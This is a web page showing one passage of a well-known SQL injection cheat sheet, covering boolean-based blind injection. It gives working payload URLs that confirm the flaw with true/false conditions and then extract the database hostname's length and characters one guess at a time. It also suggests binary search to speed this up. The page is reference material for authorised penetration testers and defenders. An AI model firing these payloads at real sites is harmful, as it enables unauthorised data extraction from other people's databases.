Skip to content
BackEsc
Sign in

SQL Injection · passage 11 of 186

Boolean Based Injection

3 code blocks · SQL Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returns TRUE or FALSE. The attacker can infer information based on differences in the behavior of the application. Size of the page, HTTP response code, or missing parts of the page are strong indicators to detect whether the Boolean-based Blind SQL injection was successful. Here is a naive example to recover the content of the `@@hostname` variable. **Identify Injection Point and Confirm Vulnerability** : Inject a payload that evaluates to true/false to confirm SQL injection vulnerability. For example:

http://example.com/item?id=1 AND 1=1 -- (Expected: Normal response)
http://example.com/item?id=1 AND 1=2 -- (Expected: Different response or error)

**Extract Hostname Length**: Guess the length of the hostname by incrementing until the response indicates a match. For example:

http://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=N -- (Expected: Change in response)

**Extract Hostname Characters** : Extract each character of the hostname using substring and ASCII comparison:

http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 -- 
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 --

Then repeat the method to discover every characters of the `@@hostname`. Obviously this example is not the fastest way to obtain them. Here are a few pointers to speed it up: * Extract characters using dichotomy: it reduces the number of requests from linear to logarithmic time, making data extraction much more efficient.

Source: SQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 1 to 26, reading order first.

  1. SQL Injection§ 1text · README.md
  2. Entry Point Detection§ 2text · README.md
  3. DBMS Identification Keyword Based§ 3text · README.md
  4. DBMS Identification Error Based§ 4text · README.md
  5. Authentication Bypass§ 54 code blocks · README.md
  6. Raw MD5 and SHA1§ 62 code blocks · README.md
  7. Hashed Passwords§ 71 code block · README.md
  8. UNION Based Injection§ 83 code blocks · README.md
  9. Error Based Injection§ 92 code blocks · README.md
  10. Blind Injection§ 10text · README.md
  11. Boolean Based Injection§ 113 code blocks · README.md
  12. Blind Error Based Injection§ 121 code block · README.md
  13. Time Based Injection§ 133 code blocks · README.md
  14. Out of Band (OAST)§ 14text · README.md
  15. Stacked Based Injection§ 151 code block · README.md
  16. Polyglot Injection§ 161 code block · README.md
  17. Routed Injection§ 172 code blocks · README.md
  18. Second Order SQL Injection§ 18text · README.md
  19. PDO Prepared Statements§ 19text · README.md
  20. Generic WAF Bypass§ 20text · README.md
  21. No Space Allowed§ 21text · README.md
  22. Alternative Whitespace Characters§ 22text · README.md
  23. Bypassing with Comments and Parentheses§ 23text · README.md
  24. No Comma Allowed§ 24text · README.md
  25. No Equal Allowed§ 25text · README.md
  26. Case Modification§ 26text · README.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

CyberSIXTSignal over noise
Updated AboutDevelopersSign in